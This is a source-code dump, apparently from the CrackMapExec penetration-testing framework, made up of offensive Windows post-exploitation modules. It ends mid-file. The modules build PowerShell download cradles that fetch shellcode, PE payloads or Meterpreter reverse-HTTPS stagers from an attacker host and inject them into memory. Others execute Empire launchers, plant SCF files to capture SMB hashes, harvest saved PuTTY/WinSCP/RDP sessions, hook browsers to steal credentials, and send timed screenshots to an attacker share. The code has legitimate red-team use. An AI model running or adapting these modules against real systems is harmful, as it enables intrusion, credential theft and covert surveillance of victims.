Windows 55 | # directories pass the os.access check. 56 | def _access_check(fn, mode): 57 | return (os.path.exists(fn) and os.access(fn, mode) and 58 | not os.path.isdir(fn)) 59 | 60 | # If we're given a path with a directory part, look it up directly 61 | # rather than referring to PATH directories. This includes checking 62 | # relative to the current directory, e.g. ./script 63 | if os.path.dirname(cmd): 64 | if _access_check(cmd, mode): 65 | return cmd 66 | return None 67 | 68 | if path is None: 69 | path = os.environ.get("PATH", os.defpath) 70 | if not path: 71 | return None 72 | path = path.split(os.pathsep) 73 | 74 | files = [cmd] 75 | 76 | seen = set() 77 | for dir in path: 78 | normdir = os.path.normcase(dir) 79 | if normdir not in seen: 80 | seen.add(normdir) 81 | for thefile in files: 82 | name = os.path.join(dir, thefile) 83 | if _access_check(name, mode): 84 | return name 85 | return None 86 | -------------------------------------------------------------------------------- /cme/modules/empire_exec.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import requests 3 | from requests import ConnectionError 4 | 5 | #The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message 6 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 7 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 8 | 9 | class CMEModule: 10 | ''' 11 | Uses Empire's RESTful API to generate a launcher for the specified listener and executes it 12 | Module by @byt3bl33d3r 13 | ''' 14 | 15 | name='empire_exec' 16 | description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it" 17 | supported_protocols = ['smb', 'mssql'] 18 | opsec_safe = True 19 | multiple_hosts = True 20 | 21 | def options(self, context, module_options): 22 | ''' 23 | LISTENER Listener name to generate the launcher for 24 | ''' 25 | 26 | if not 'LISTENER' in module_options: 27 | context.log.error('LISTENER option is required!') 28 | sys.exit(1) 29 | 30 | self.empire_launcher = None 31 | 32 | headers = {'Content-Type': 'application/json'} 33 | #Pull the host and port from the config file 34 | base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port')) 35 | 36 | try: 37 | #Pull the username and password from the config file 38 | payload = {'username': context.conf.get('Empire', 'username'), 39 | 'password': context.conf.get('Empire', 'password')} 40 | 41 | r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False) 42 | if r.status_code == 200: 43 | token = r.json()['token'] 44 | else: 45 | context.log.error("Error authenticating to Empire's RESTful API server!") 46 | sys.exit(1) 47 | 48 | payload = {'StagerName': 'multi/launcher', 'Listener': module_options['LISTENER']} 49 | r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False) 50 | 51 | response = r.json() 52 | if "error" in response: 53 | context.log.error("Error from empire : {}".format(response["error"])) 54 | sys.exit(1) 55 | 56 | self.empire_launcher = response['multi/launcher']['Output'] 57 | 58 | context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER'])) 59 | 60 | except ConnectionError as e: 61 | context.log.error("Unable to connect to Empire's RESTful API: {}".format(e)) 62 | sys.exit(1) 63 | 64 | def on_admin_login(self, context, connection): 65 | if self.empire_launcher: 66 | connection.execute(self.empire_launcher) 67 | context.log.success('Executed Empire Launcher') 68 | -------------------------------------------------------------------------------- /cme/modules/scuffy.py: -------------------------------------------------------------------------------- 1 | import os 2 | import ntpath 3 | 4 | from sys import exit 5 | 6 | class CMEModule: 7 | ''' 8 | Original idea and PoC by Mubix "Rob" Fuller 9 | URL: https://room362.com/post/2016/smb-http-auth-capture-via-scf/ 10 | Module by: @kierangroome 11 | ''' 12 | 13 | name = 'scuffy' 14 | description = 'Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares' 15 | supported_protocols = ['smb'] 16 | opsec_safe= False 17 | multiple_hosts = True 18 | 19 | def options(self, context, module_options): 20 | ''' 21 | SERVER IP of the SMB server 22 | NAME SCF file name 23 | CLEANUP Cleanup (choices: True or False) 24 | ''' 25 | 26 | self.cleanup = False 27 | 28 | if 'CLEANUP' in module_options: 29 | self.cleanup = bool(module_options['CLEANUP']) 30 | 31 | if 'NAME' not in module_options: 32 | context.log.error('NAME option is required!') 33 | exit(1) 34 | 35 | if not self.cleanup and 'SERVER' not in module_options: 36 | context.log.error('SERVER option is required!') 37 | exit(1) 38 | 39 | self.scf_name = module_options['NAME'] 40 | self.scf_path = '/tmp/{}.scf'.format(self.scf_name) 41 | self.file_path = ntpath.join('\\', '{}.scf'.format(self.scf_name)) 42 | 43 | if not self.cleanup: 44 | self.server = module_options['SERVER'] 45 | scuf = open(self.scf_path, 'a'); 46 | scuf.write("[Shell]" + '\n'); 47 | scuf.write("Command=2" + '\n'); 48 | scuf.write("IconFile=" + '\\\\{}\\share\\icon.ico'.format(self.server) + '\n'); 49 | scuf.close(); 50 | 51 | def on_login(self, context, connection): 52 | shares = connection.shares() 53 | for share in shares: 54 | if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$']: 55 | #print share 56 | context.log.success('Found writable share: {}'.format(share['name'])) 57 | if not self.cleanup: 58 | with open(self.scf_path, 'rb') as scf: 59 | try: 60 | connection.conn.putFile(share['name'], self.file_path, scf.read) 61 | context.log.success('Created SCF file on the {} share'.format(share['name'])) 62 | except Exception as e: 63 | context.log.error('Error writing SCF file to share {}: {}'.format(share['name'])) 64 | else: 65 | try: 66 | connection.conn.deleteFile(share['name'], self.file_path) 67 | context.log.success('Deleted SCF file on the {} share'.format(share['name'])) 68 | except Exception as e: 69 | context.log.error('Error deleting SCF file on share {}: {}'.format(share['name'], e)) 70 | -------------------------------------------------------------------------------- /cme/modules/shellcode_inject.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from sys import exit 3 | import os 4 | 5 | class CMEModule: 6 | ''' 7 | Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script 8 | Module by @byt3bl33d3r 9 | ''' 10 | name = 'shellcode_inject' 11 | description = "Downloads the specified raw shellcode and injects it into memory" 12 | supported_protocols = ['mssql', 'smb'] 13 | opsec_safe = True 14 | multiple_hosts = True 15 | 16 | def options(self, context, module_options): 17 | ''' 18 | PATH Path to the file containing raw shellcode to inject 19 | PROCID Process ID to inject into (default: current powershell process) 20 | ''' 21 | 22 | if not 'PATH' in module_options: 23 | context.log.error('PATH option is required!') 24 | exit(1) 25 | 26 | self.shellcode_path = os.path.expanduser(module_options['PATH']) 27 | if not os.path.exists(self.shellcode_path): 28 | context.log.error('Invalid path to shellcode!') 29 | exit(1) 30 | 31 | self.procid = None 32 | 33 | if 'PROCID' in module_options.keys(): 34 | self.procid = module_options['PROCID'] 35 | 36 | self.ps_script = obfs_ps_script('powersploit/CodeExecution/Invoke-Shellcode.ps1') 37 | 38 | def on_admin_login(self, context, connection): 39 | 40 | payload = """ 41 | $WebClient = New-Object System.Net.WebClient; 42 | [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}'); 43 | Invoke-Shellcode -Force -Shellcode $bytes""".format(server=context.server, 44 | port=context.server_port, 45 | addr=context.localip, 46 | shellcode=os.path.basename(self.shellcode_path)) 47 | 48 | if self.procid: 49 | payload += ' -ProcessID {}'.format(self.procid) 50 | 51 | launcher = gen_ps_iex_cradle(context, 'Invoke-Shellcode.ps1', payload, post_back=False) 52 | 53 | connection.ps_execute(launcher, force_ps32=True) 54 | context.log.success('Executed payload') 55 | 56 | def on_request(self, context, request): 57 | if 'Invoke-Shellcode.ps1' == request.path[1:]: 58 | request.send_response(200) 59 | request.end_headers() 60 | 61 | request.wfile.write(self.ps_script) 62 | 63 | elif os.path.basename(self.shellcode_path) == request.path[1:]: 64 | request.send_response(200) 65 | request.end_headers() 66 | 67 | with open(self.shellcode_path, 'rb') as shellcode: 68 | request.wfile.write(shellcode.read()) 69 | 70 | #Target has the shellcode, stop tracking the host 71 | request.stop_tracking_host() 72 | 73 | else: 74 | request.send_response(404) 75 | request.end_headers() -------------------------------------------------------------------------------- /cme/modules/invoke_sessiongopher.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from cme.helpers.logger import write_log 3 | from StringIO import StringIO 4 | from datetime import datetime 5 | 6 | class CMEModule: 7 | ''' 8 | Digs up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher 9 | https://github.com/fireeye/SessionGopher 10 | 11 | Module by @byt3bl33d3r 12 | 13 | ''' 14 | 15 | name = 'invoke_sessiongopher' 16 | description = 'Digs up saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher' 17 | supported_protocols = ['smb', 'mssql'] 18 | opsec_safe= True 19 | multiple_hosts = True 20 | 21 | def options(self, context, module_options): 22 | ''' 23 | THOROUGH Searches entire filesystem for certain file extensions (default: False) 24 | ALLDOMAIN Queries Active Direcotry for a list of all domain-joined computers and runs SessionGopher against all of them (default: False) 25 | ''' 26 | 27 | self.thorough = False 28 | self.all_domain = False 29 | 30 | if 'THOROUGH' in module_options: 31 | self.thorough = bool(module_options['THOROUGH']) 32 | 33 | if 'ALLDOMAIN' in module_options: 34 | self.all_domain = bool(module_options['ALLDOMAIN']) 35 | 36 | self.ps_script2 = obfs_ps_script('sessiongopher/SessionGopher.ps1') 37 | 38 | def on_admin_login(self, context, connection): 39 | command = 'Invoke-SessionGopher' 40 | if self.thorough: 41 | command += ' -Thorough' 42 | if self.all_domain: 43 | command += ' -AllDomain' 44 | 45 | command += ' | Out-String' 46 | 47 | launcher = gen_ps_iex_cradle(context, 'SessionGopher.ps1', command) 48 | 49 | connection.ps_execute(launcher) 50 | 51 | context.log.success('Executed launcher') 52 | 53 | def on_request(self, context, request): 54 | if 'SessionGopher.ps1' == request.path[1:]: 55 | request.send_response(200) 56 | request.end_headers() 57 | 58 | request.wfile.write(self.ps_script2) 59 | 60 | else: 61 | request.send_response(404) 62 | request.end_headers() 63 | 64 | def on_response(self, context, response): 65 | response.send_response(200) 66 | response.end_headers() 67 | length = int(response.headers.getheader('content-length')) 68 | data = response.rfile.read(length) 69 | 70 | #We've received the response, stop tracking this host 71 | response.stop_tracking_host() 72 | 73 | if len(data): 74 | def print_post_data(data): 75 | buf = StringIO(data.strip()).readlines() 76 | for line in buf: 77 | context.log.highlight(line.strip()) 78 | 79 | print_post_data(data) 80 | 81 | log_name = 'SessionGopher-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 82 | write_log(data, log_name) 83 | context.log.info("Saved output to {}".format(log_name)) 84 | -------------------------------------------------------------------------------- /cme/modules/netripper.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from cme.helpers.misc import gen_random_string 3 | from cme.servers.smb import CMESMBServer 4 | from sys import exit 5 | import os 6 | 7 | class CMEModule: 8 | ''' 9 | Injects NetRipper in memory using PowerShell 10 | Note: NetRipper doesn't support injecting into x64 processes yet, which very much limits its use case 11 | 12 | Module by @byt3bl33d3r 13 | ''' 14 | 15 | name = 'netripper' 16 | description = "Capture's credentials by using API hooking" 17 | supported_protocols = ['smb', 'mssql'] 18 | opsec_safe = True 19 | multiple_hosts = True 20 | 21 | def options(self, context, module_options): 22 | ''' 23 | PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync) 24 | ''' 25 | 26 | self.process = None 27 | 28 | if 'PROCESS' in module_options: 29 | self.process = module_options['PROCESS'] 30 | else: 31 | context.log.error('PROCESS option is required') 32 | exit(1) 33 | 34 | self.share_name = gen_random_string(5).upper() 35 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') 36 | self.ps_script2 = obfs_ps_script('netripper/PowerShell/Invoke-NetRipper.ps1') 37 | 38 | context.log.info('This module will not exit until CTRL-C is pressed') 39 | context.log.info('Logs will be stored in ~/.cme/logs\n') 40 | 41 | self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) 42 | self.smb_server.start() 43 | 44 | def on_admin_login(self, context, connection): 45 | log_folder = 'netripper_{}'.format(connection.host) 46 | command = 'Invoke-NetRipper -LogLocation \\\\{}\\{}\\{}\\ -ProcessName {}'.format(context.localip, self.share_name, log_folder, self.process) 47 | 48 | netripper_cmd = gen_ps_iex_cradle(context, 'Invoke-NetRipper.ps1', command, post_back=False) 49 | launcher = gen_ps_inject(netripper_cmd, context) 50 | 51 | connection.ps_execute(launcher) 52 | context.log.success('Executed launcher') 53 | 54 | def on_request(self, context, request): 55 | if 'Invoke-PSInject.ps1' == request.path[1:]: 56 | request.send_response(200) 57 | request.end_headers() 58 | 59 | request.wfile.write(self.ps_script1) 60 | 61 | elif 'Invoke-NetRipper.ps1' == request.path[1:]: 62 | request.send_response(200) 63 | request.end_headers() 64 | 65 | #We received the callback, so lets setup the folder to store the screenshots 66 | log_folder_path = os.path.join(context.log_folder_path, 'netripper_{}'.format(request.client_address[0])) 67 | if not os.path.exists(log_folder_path): os.mkdir(log_folder_path) 68 | 69 | request.wfile.write(self.ps_script2) 70 | 71 | else: 72 | request.send_response(404) 73 | request.end_headers() 74 | 75 | def on_shutdown(self, context): 76 | self.smb_server.shutdown() -------------------------------------------------------------------------------- /cme/modules/rdp.py: -------------------------------------------------------------------------------- 1 | from impacket.dcerpc.v5.rpcrt import DCERPCException 2 | from impacket.dcerpc.v5 import rrp 3 | from impacket.examples.secretsdump import RemoteOperations 4 | from sys import exit 5 | 6 | class CMEModule: 7 | 8 | name = 'rdp' 9 | description = 'Enables/Disables RDP' 10 | supported_protocols = ['smb'] 11 | opsec_safe = True 12 | multiple_hosts = True 13 | 14 | def options(self, context, module_options): 15 | ''' 16 | ACTION Enable/Disable RDP (choices: enable, disable) 17 | ''' 18 | 19 | if not 'ACTION' in module_options: 20 | context.log.error('ACTION option not specified!') 21 | exit(1) 22 | 23 | if module_options['ACTION'].lower() not in ['enable', 'disable']: 24 | context.log.error('Invalid value for ACTION option!') 25 | exit(1) 26 | 27 | self.action = module_options['ACTION'].lower() 28 | 29 | def on_admin_login(self, context, connection): 30 | if self.action == 'enable': 31 | self.rdp_enable(context, connection.conn) 32 | elif self.action == 'disable': 33 | self.rdp_disable(context, connection.conn) 34 | 35 | def rdp_enable(self, context, smbconnection): 36 | remoteOps = RemoteOperations(smbconnection, False) 37 | remoteOps.enableRegistry() 38 | 39 | if remoteOps._RemoteOperations__rrp: 40 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) 41 | regHandle = ans['phKey'] 42 | 43 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server') 44 | keyHandle = ans['phkResult'] 45 | 46 | rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 0) 47 | 48 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00') 49 | 50 | if int(data) == 0: 51 | context.log.success('RDP enabled successfully') 52 | 53 | try: 54 | remoteOps.finish() 55 | except: 56 | pass 57 | 58 | def rdp_disable(self, context, smbconnection): 59 | remoteOps = RemoteOperations(smbconnection, False) 60 | remoteOps.enableRegistry() 61 | 62 | if remoteOps._RemoteOperations__rrp: 63 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) 64 | regHandle = ans['phKey'] 65 | 66 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server') 67 | keyHandle = ans['phkResult'] 68 | 69 | rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 1) 70 | 71 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00') 72 | 73 | if int(data) == 1: 74 | context.log.success('RDP disabled successfully') 75 | 76 | try: 77 | remoteOps.finish() 78 | except: 79 | pass 80 | -------------------------------------------------------------------------------- /cme/modules/pe_inject.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from sys import exit 3 | import os 4 | 5 | class CMEModule: 6 | ''' 7 | Downloads the specified DLL/EXE and injects it into memory using PowerSploit's Invoke-ReflectivePEInjection.ps1 script 8 | Module by @byt3bl33d3r 9 | ''' 10 | name = 'pe_inject' 11 | description = "Downloads the specified DLL/EXE and injects it into memory" 12 | supported_protocols = ['smb', 'mssql'] 13 | opsec_safe = True 14 | multiple_hosts = True 15 | 16 | def options(self, context, module_options): 17 | ''' 18 | PATH Path to dll/exe to inject 19 | PROCID Process ID to inject into (default: current powershell process) 20 | EXEARGS Arguments to pass to the executable being reflectively loaded (default: None) 21 | ''' 22 | 23 | if not 'PATH' in module_options: 24 | context.log.error('PATH option is required!') 25 | exit(1) 26 | 27 | self.payload_path = os.path.expanduser(module_options['PATH']) 28 | if not os.path.exists(self.payload_path): 29 | context.log.error('Invalid path to EXE/DLL!') 30 | exit(1) 31 | 32 | self.procid = None 33 | self.exeargs = None 34 | 35 | if 'PROCID' in module_options: 36 | self.procid = module_options['PROCID'] 37 | 38 | if 'EXEARGS' in module_options: 39 | self.exeargs = module_options['EXEARGS'] 40 | 41 | self.ps_script = obfs_ps_script('powersploit/CodeExecution/Invoke-ReflectivePEInjection.ps1') 42 | 43 | def on_admin_login(self, context, connection): 44 | 45 | payload = """ 46 | $WebClient = New-Object System.Net.WebClient; 47 | [Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{pefile}'); 48 | Invoke-ReflectivePEInjection -PEBytes $bytes""".format(server=context.server, 49 | port=context.server_port, 50 | addr=context.localip, 51 | pefile=os.path.basename(self.payload_path)) 52 | 53 | if self.procid: 54 | payload += ' -ProcessID {}'.format(self.procid) 55 | 56 | if self.exeargs: 57 | payload += ' -ExeArgs "{}"'.format(self.exeargs) 58 | 59 | launcher = gen_ps_iex_cradle(context, 'Invoke-ReflectivePEInjection.ps1', payload, post_back=False) 60 | 61 | connection.ps_execute(launcher, force_ps32=True) 62 | context.log.success('Executed payload') 63 | 64 | def on_request(self, context, request): 65 | if 'Invoke-ReflectivePEInjection.ps1' == request.path[1:]: 66 | request.send_response(200) 67 | request.end_headers() 68 | 69 | request.wfile.write(self.ps_script) 70 | 71 | elif os.path.basename(self.payload_path) == request.path[1:]: 72 | request.send_response(200) 73 | request.end_headers() 74 | 75 | request.stop_tracking_host() 76 | 77 | with open(self.payload_path, 'rb') as payload: 78 | request.wfile.write(payload.read()) 79 | 80 | else: 81 | request.send_response(404) 82 | request.end_headers() -------------------------------------------------------------------------------- /cme/modules/met_inject.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from sys import exit 3 | 4 | class CMEModule: 5 | ''' 6 | Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script 7 | Module by @byt3bl33d3r 8 | ''' 9 | name = 'met_inject' 10 | description = "Downloads the Meterpreter stager and injects it into memory" 11 | supported_protocols = ['smb', 'mssql'] 12 | opsec_safe = True 13 | multiple_hosts = True 14 | 15 | def options(self, context, module_options): 16 | ''' 17 | LHOST IP hosting the handler 18 | LPORT Handler port 19 | PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) 20 | PROCID Process ID to inject into (default: current powershell process) 21 | ''' 22 | 23 | self.met_payload = 'reverse_https' 24 | self.procid = None 25 | 26 | if not 'LHOST' in module_options or not 'LPORT' in module_options: 27 | context.log.error('LHOST and LPORT options are required!') 28 | exit(1) 29 | 30 | if 'PAYLOAD' in module_options: 31 | self.met_payload = module_options['PAYLOAD'] 32 | 33 | if 'PROCID' in module_options: 34 | self.procid = module_options['PROCID'] 35 | 36 | self.lhost = module_options['LHOST'] 37 | self.lport = module_options['LPORT'] 38 | 39 | self.ps_script = obfs_ps_script('powersploit/CodeExecution/Invoke-Shellcode.ps1') 40 | 41 | def on_admin_login(self, context, connection): 42 | #PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode 43 | #so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode 44 | 45 | payload = """$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}} 46 | $SumTest = $False 47 | while ($SumTest -eq $False) 48 | {{ 49 | $GeneratedUri = $CharArray | Get-Random -Count 4 50 | $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) 51 | }} 52 | $RequestUri = -join $GeneratedUri 53 | $Request = "{}://{}:{}/$($RequestUri)" 54 | $WebClient = New-Object System.Net.WebClient 55 | [Byte[]]$bytes = $WebClient.DownloadData($Request) 56 | Invoke-Shellcode -Force -Shellcode $bytes""".format('http' if self.met_payload == 'reverse_http' else 'https', 57 | self.lhost, 58 | self.lport) 59 | 60 | if self.procid: 61 | payload += " -ProcessID {}".format(self.procid) 62 | 63 | launcher = gen_ps_iex_cradle(context, 'Invoke-Shellcode.ps1', payload, post_back=False) 64 | 65 | connection.ps_execute(launcher, force_ps32=True) 66 | context.log.success('Executed payload') 67 | 68 | def on_request(self, context, request): 69 | if 'Invoke-Shellcode.ps1' == request.path[1:]: 70 | request.send_response(200) 71 | request.end_headers() 72 | request.wfile.write(self.ps_script) 73 | request.stop_tracking_host() 74 | else: 75 | request.send_response(404) 76 | request.end_headers() -------------------------------------------------------------------------------- /cme/protocols/ssh.py: -------------------------------------------------------------------------------- 1 | import paramiko 2 | import socket 3 | from cme.connection import * 4 | from cme.helpers.logger import highlight 5 | from cme.logger import CMEAdapter 6 | from paramiko.ssh_exception import AuthenticationException, NoValidConnectionsError, SSHException 7 | from ConfigParser import ConfigParser 8 | 9 | 10 | class ssh(connection): 11 | 12 | @staticmethod 13 | def proto_args(parser, std_parser, module_parser): 14 | ssh_parser = parser.add_parser('ssh', help="own stuff using SSH", parents=[std_parser, module_parser]) 15 | #ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key") 16 | ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") 17 | 18 | cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands") 19 | cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') 20 | cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") 21 | 22 | return parser 23 | 24 | def proto_logger(self): 25 | self.logger = CMEAdapter(extra={'protocol': 'SSH', 26 | 'host': self.host, 27 | 'port': self.args.port, 28 | 'hostname': self.hostname}) 29 | 30 | def print_host_info(self): 31 | self.logger.info(self.remote_version) 32 | 33 | def enum_host_info(self): 34 | self.remote_version = self.conn._transport.remote_version 35 | 36 | def create_conn_obj(self): 37 | self.conn = paramiko.SSHClient() 38 | self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 39 | 40 | try: 41 | self.conn.connect(self.host, port=self.args.port) 42 | except AuthenticationException: 43 | return True 44 | except SSHException: 45 | return True 46 | except NoValidConnectionsError: 47 | return False 48 | except socket.error: 49 | return False 50 | 51 | def check_if_admin(self): 52 | stdin, stdout, stderr = self.conn.exec_command('id') 53 | if stdout.read().find('uid=0(root)') != -1: 54 | self.admin_privs = True 55 | 56 | def plaintext_login(self, username, password): 57 | try: 58 | self.conn.connect(self.host, port=self.args.port, username=username, password=password) 59 | self.check_if_admin() 60 | 61 | self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'), 62 | password.decode('utf-8'), 63 | highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) 64 | 65 | return True 66 | except Exception as e: 67 | self.logger.error(u'{}:{} {}'.format(username.decode('utf-8'), 68 | password.decode('utf-8'), 69 | e)) 70 | 71 | return False 72 | 73 | def execute(self, payload=None, get_output=False): 74 | stdin, stdout, stderr = self.conn.exec_command(self.args.execute) 75 | self.logger.success('Executed command') 76 | for line in stdout: 77 | self.logger.highlight(line.decode('utf-8').strip()) 78 | 79 | return stdout 80 | -------------------------------------------------------------------------------- /cme/protocols/http/db_navigator.py: -------------------------------------------------------------------------------- 1 | from cme.cmedb import DatabaseNavigator 2 | 3 | 4 | class navigator(DatabaseNavigator): 5 | 6 | def display_creds(self, creds): 7 | data = [['CredID', 'URL', 'UserName', 'Password']] 8 | for cred in creds: 9 | credID = cred[0] 10 | url = cred[2] 11 | username = cred[3] 12 | password = cred[4] 13 | 14 | # links = self.db.get_links(credID=credID) 15 | 16 | data.append([credID, url.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8')]) 17 | 18 | self.print_table(data, title='Credential(s)') 19 | 20 | def display_hosts(self, hosts): 21 | # print "\nHosts:\n" 22 | # print " HostID IP Hostname Port Title URL" 23 | return 24 | 25 | def do_creds(self, line): 26 | 27 | filterTerm = line.strip() 28 | 29 | if filterTerm == "": 30 | creds = self.db.get_credentials() 31 | self.display_creds(creds) 32 | 33 | elif filterTerm.split()[0].lower() == "add": 34 | 35 | args = filterTerm.split()[1:] 36 | 37 | if len(args) == 3: 38 | url, username, password = args 39 | self.db.add_credential(url, username, password) 40 | 41 | else: 42 | print "[!] Format is 'add url username password" 43 | return 44 | 45 | elif filterTerm.split()[0].lower() == "remove": 46 | 47 | args = filterTerm.split()[1:] 48 | if len(args) != 1 : 49 | print "[!] Format is 'remove '" 50 | return 51 | else: 52 | self.db.remove_credentials(args) 53 | self.db.remove_links(credIDs=args) 54 | 55 | else: 56 | creds = self.db.get_credentials(filterTerm=filterTerm) 57 | self.display_creds(creds) 58 | 59 | def do_hosts(self, line): 60 | 61 | filterTerm = line.strip() 62 | 63 | if filterTerm == "": 64 | creds = self.db.get_hosts() 65 | self.display_creds(creds) 66 | 67 | elif filterTerm.split()[0].lower() == "add": 68 | 69 | args = filterTerm.split()[1:] 70 | 71 | if len(args) == 3: 72 | return 73 | # url, username, password = args 74 | # self.db.add_host() 75 | 76 | else: 77 | print "[!] Format is 'add url ip hostname port" 78 | return 79 | 80 | elif filterTerm.split()[0].lower() == "remove": 81 | 82 | args = filterTerm.split()[1:] 83 | if len(args) != 1 : 84 | print "[!] Format is 'remove '" 85 | 86 | return 87 | # self.db.remove_host() 88 | 89 | else: 90 | hosts = self.db.get_hosts(filterTerm=filterTerm) 91 | self.display_hosts(hosts) 92 | 93 | def complete_creds(self, text, line, begidx, endidx): 94 | "Tab-complete 'creds' commands." 95 | 96 | commands = ["add", "remove"] 97 | 98 | mline = line.partition(' ')[2] 99 | offs = len(mline) - len(text) 100 | return [s[offs:] for s in commands if s.startswith(mline)] 101 | 102 | def complete_hosts(self, text, line, begidx, endidx): 103 | "Tab-complete 'hosts' commands." 104 | 105 | commands = ["add", "remove"] 106 | 107 | mline = line.partition(' ')[2] 108 | offs = len(mline) - len(text) 109 | return [s[offs:] for s in commands if s.startswith(mline)] 110 | -------------------------------------------------------------------------------- /cme/modules/get_timedscreenshot.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.powershell import * 2 | from cme.helpers.misc import gen_random_string 3 | from cme.servers.smb import CMESMBServer 4 | from sys import exit 5 | import os 6 | 7 | class CMEModule: 8 | ''' 9 | Executes PowerSploit's Get-TimedScreenshot script 10 | Module by @byt3bl33d3r 11 | ''' 12 | 13 | name = 'get_timedscreenshot' 14 | description = "Takes screenshots at a regular interval" 15 | supported_protocols = ['smb', 'mssql'] 16 | opsec_safe = True 17 | multiple_hosts = True 18 | 19 | def options(self, context, module_options): 20 | ''' 21 | INTERVAL Specifies the interval in seconds between taking screenshots. 22 | ENDTIME Specifies when the script should stop running in the format HH:MM (Military Time). 23 | ''' 24 | 25 | if 'INTERVAL' not in module_options: 26 | context.log.error('INTERVAL option is required!') 27 | exit(1) 28 | 29 | if 'ENDTIME' not in module_options: 30 | context.log.error('ENDTIME option is required!') 31 | exit(1) 32 | 33 | self.interval = int(module_options['INTERVAL']) 34 | self.endtime = module_options['ENDTIME'] 35 | self.share_name = gen_random_string(5).upper() 36 | 37 | context.log.info('This module will not exit until CTRL-C is pressed') 38 | context.log.info('Screenshots will be stored in ~/.cme/logs\n') 39 | 40 | self.ps_script1 = obfs_ps_script('cme_powershell_scripts/Invoke-PSInject.ps1') 41 | self.ps_script2 = obfs_ps_script('powersploit/Exfiltration/Get-TimedScreenshot.ps1') 42 | 43 | self.smb_server = CMESMBServer(context.log, self.share_name, context.log_folder_path) 44 | self.smb_server.start() 45 | 46 | def on_admin_login(self, context, connection): 47 | screen_folder = 'get_timedscreenshot_{}'.format(connection.host) 48 | screen_command = 'Get-TimedScreenshot -Path \\\\{}\\{}\\{} -Interval {} -EndTime {}'.format(context.localip, self.share_name, 49 | screen_folder, self.interval, 50 | self.endtime) 51 | screen_command = gen_ps_iex_cradle(context, 'Get-TimedScreenshot.ps1', 52 | screen_command, post_back=False) 53 | 54 | launcher = gen_ps_inject(screen_command, context) 55 | 56 | connection.ps_execute(launcher) 57 | context.log.success('Executed launcher') 58 | 59 | def on_request(self, context, request): 60 | if 'Invoke-PSInject.ps1' == request.path[1:]: 61 | request.send_response(200) 62 | request.end_headers() 63 | 64 | request.wfile.write(self.ps_script1) 65 | 66 | elif 'Get-TimedScreenshot.ps1' == request.path[1:]: 67 | request.send_response(200) 68 | request.end_headers() 69 | 70 | #We received the callback, so lets setup the folder to store the screenshots 71 | screen_folder_path = os.path.join(context.log_folder_path, 'get_timedscreenshot_{}'.format(request.client_address[0])) 72 | if not os.path.exists(screen_folder_path): os.mkdir(screen_folder_path) 73 | #context.log.success('Storing screenshots in {}'.format(screen_folder_path)) 74 | 75 | request.wfile.write(self.ps_script2) 76 | 77 | else: 78 | request.send_response(404) 79 | request.end_headers() 80 | 81 | def on_shutdown(self, context): 82 | self.smb_server.shutdown() -------------------------------------------------------------------------------- /cme/modules/get_netdomaincontroller.py: -------------------------------------------------------------------------------- 1 